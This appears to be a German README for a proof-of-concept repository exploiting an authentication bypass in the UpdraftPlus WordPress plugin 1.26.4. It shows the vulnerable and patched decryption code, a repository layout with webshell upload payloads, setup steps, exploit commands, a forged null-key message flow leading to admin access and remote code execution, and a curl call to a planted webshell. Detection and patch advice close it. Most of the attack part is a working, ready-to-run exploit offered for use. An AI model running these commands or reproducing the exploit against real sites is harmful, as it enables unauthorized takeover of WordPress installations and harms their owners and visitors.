// updraftplus/includes/class-remote-communications-v2.php
// Zeilen 460-491 (Version 1.26.4)

$sym_key = $rsa->decrypt($sym_key);
// ❌ Keine Rückgabewertprüfung!

$rij->setKey($sym_key);  // false → Nullschlüssel
return $rij->decrypt($ciphertext);

$sym_key = $rsa->decrypt($sym_key);

// ✅ Hinzugefügt in 1.26.5
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);

updraftplus-auth-bypass/
├── README.md
├── poc.py                  # Haupt-Exploit-Skript
├── requirements.txt        # Python-Abhängigkeiten
├── payloads/
│   ├── list_plugins.py     # Installierte Plugins auflisten
│   ├── upload_shell.py     # Webshell-Plugin hochladen
│   └── activate_plugin.py  # Hochgeladenes Plugin aktivieren
├── shell/
│   ├── build_shell.py      # Baut Webshell-ZIP
│   └── test-shell.php      # Minimale PHP-Webshell
└── docs/
    ├── technical-analysis.md
    └── patch-diff.md

git clone https://github.com/yourname/updraftplus-auth-bypass
cd updraftplus-auth-bypass
pip install -r requirements.txt

requests==2.31.0
pycryptodome==3.20.0

https://www.apachefriends.org
Starten: Apache + MySQL

# WordPress in htdocs platzieren
C:/xampp/htdocs/wordpress/

# Angreifbare Plugin-Version installieren
# Herunterladen: https://plugins.trac.wordpress.org/browser/updraftplus/tags/1.26.4

WordPress Admin → Einstellungen → UpdraftPlus → UpdraftCentral-Tab → Verbinden

python poc.py --url http://localhost/wordpress/ --user-id 1

python poc.py --url http://localhost/wordpress/ --cmd plugin.get_plugins

# Schritt 1: ZIP der Shell erstellen
python shell/build_shell.py

# Schritt 2: Hochladen
python poc.py --url http://localhost/wordpress/ --cmd upload_shell

# Schritt 3: Aktivieren
python poc.py --url http://localhost/wordpress/ --cmd activate_shell

# Schritt 4: RCE testen
curl "http://localhost/wordpress/wp-content/plugins/test-shell/test-shell.php?cmd=whoami"

poc.py
  │
  ├─ 1. Fehlerhafte RSA-verschlüsselte sym_key erstellen (Müllbytes)
  │
  ├─ 2. RPC-Payload mit NULL AES-128-Schlüssel (0x00 * 16) verschlüsseln
  │
  ├─ 3. udrpc_message bauen:
  │       [3-Byte hex Länge][fake_sym_key][16-Byte hex Cipherlänge][Ciphertext]
  │
  ├─ 4. POST an Ziel senden (keine Authentifizierung, kein Nonce, keine Cookies nötig)
  │
  └─ 5. Serverseite:
          rsa->decrypt(Müll) → false
          setKey(false)      → 0x00-Schlüssel
          decrypt(ciphertext) → unsere Payload ✅
          wp_set_current_user() → Admin-Zugriff
          RPC-Befehl ausgeführt → RCE 💀

UpdraftPlus sofort auf Version 1.26.5 aktualisieren.

# Nach verdächtigen POST-Anfragen mit udrpc_message suchen
grep "udrpc_message" /var/log/apache2/access.log

# Wordfence-Benutzer sind seit dem 3. Juni 2026 geschützt

- Unerwartete Plugin-Installationen
- Neue PHP-Dateien in wp-content/plugins/
- POST-Anfragen an das WordPress-Root mit dem Parameter udrpc_message
- Unerwartete Aktionen auf Admin-Ebene in WordPress-Logs

MIT-Lizenz – Nur für Bildungszwecke.
Unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören, ist illegal.